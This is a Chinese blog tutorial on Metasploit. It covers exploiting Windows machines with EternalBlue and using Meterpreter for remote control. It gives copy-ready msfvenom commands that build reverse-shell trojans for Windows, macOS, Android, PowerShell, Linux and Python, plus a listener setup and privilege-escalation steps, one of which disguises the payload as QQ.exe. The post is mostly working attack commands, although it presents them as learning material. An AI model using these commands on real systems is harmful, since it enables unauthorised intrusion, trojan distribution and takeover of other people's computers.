1.7 MSF框架以及使用

学习使用msf利用漏洞或木马远程控制计算机

本篇课程如未特别解释均使用 Kali 虚拟机进行

MSF的了解

msf(全称 metasploit)是一款功能强大的攻击框架框架

现在我们打开msf

启动 Kali,在终端中输入msfconsole打开msf

msf中集成了很多工具,例如你可以调用nmapnmap -sV [目标ip]

实验部分

msf使用漏洞进行攻击

这里以漏洞:永恒之蓝 ms17_010为例

前置知识: msf如果使用漏洞去攻击对方,需要的条件:

  1. 漏洞
  2. 攻击载荷(木马、病毒)

STEP1 利用漏洞进入目标计算机

1
2
3
4
use exploit/windows/smb/ms17_010_eternalblue	选择要使用的漏洞
show options			查看使用要求
set rhosts [目标ip]		
run或者exploit

返回了以下内容说明漏洞已经利用成功: WIN!

STEP2 执行命令

这时发现控制台的指令前缀已经从msf >变成了metepreter >我们可以敲一个help看看有什么指令可用

这边举例几个常用指令:

getuid 查看当前控制的用户账户权限

shell 打开目标的终端

其他命令可以参考这篇文章:Meterpreter 命令手册(中文)

退出连接输入 exit


另外如果想要暂时断开(挂起)连接可以使用:background命令

这时当前连接就会被保存为名称为session 的任务,其中为数字,例如session 1

sessions 查看控制了多少人

过会要重新连接时可以输入sessions -i 1即可

基于木马程序的msf内网渗透

服务端准备

现在我们要用msf生成 32位 木马程序,执行下面的命令:

1
2
cd Desktop/			方便找到exe文件
msfvenom -a x86 -platform windows -p windows/meterpreter/reverse_tcp LHOST=[控制端ip] lport=[端口号] -f exe > 文件名.exe

现在我们生成的是用于服务端的文件,接下来我们开始配置控制端

补充:生成64位木马命令

1
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=[控制端ip] lport=[端口号] -f exe -o 文件名.exe

控制端准备

msfconsole 打开msf控制台

1
2
3
4
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp			payload后的内容要与上面-p后面的内容一致
set lhost [控制端ip]
run或者Sexploit

现在开始如果有目标打开了木马程序就会自动连接到被控端:

其他类型木马

生成Mac木马(32位旧版)

1
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp lhost=[控制端ip] lport=[端口号] -f macho -p 文件名.macho

生成安卓木马(旧版,需要数字签名)

1
msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp lhost=[控制端ip] lport=[端口号] -f apk -o 文件名.apk

生成power shell木马(raw表示生成代码,不是程序)

1
msfvenom -a x86 --platform windows -p windows/powershell_reverse_tcp lhost=[控制端ip] lport=[端口号] -e cmd/powershell_base64 -i 3 -f raw -o msf.ps1

生成Linux木马

1
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp lhost=[控制端ip] lport=[端口号] -f elf -o 文件名.elf

生成python木马

1
msfvenom -p python/meterpreter/reverse_tcp lhost=[控制端ip] lport=[端口号] -f raw -o 文件名.py

meterpreter操作补充

提权

方法一:直接提权

getsystem 直接提权(有风险,可能报错)

方法二:通过ask模块提权

若当前已经进入meterpreter > 控制台:

1
2
3
background		挂起连接
use exploit/windows/local/ask		加载ask模块
info		查看信息

查看到需要指定目标的session号码,所以使用sessions查询(以session 1为例)

1
2
3
set session 1
set filename QQ.exe   此处填伪装的文件名,以qq为例
run

方法三:UAC绕过提权(成功率不高,仅限32位系统)

1
2
3
4
use exploit/windows/local/bypassuac
show options
set session [编号]
run

之后会反弹一个新的session,进入这个新的session

Licensed under CC BY-NC-SA 4.0
已存在于互联网
发表了126篇文章 · 总计210.25k字
萌ICP备20267077号
Powered by ctOS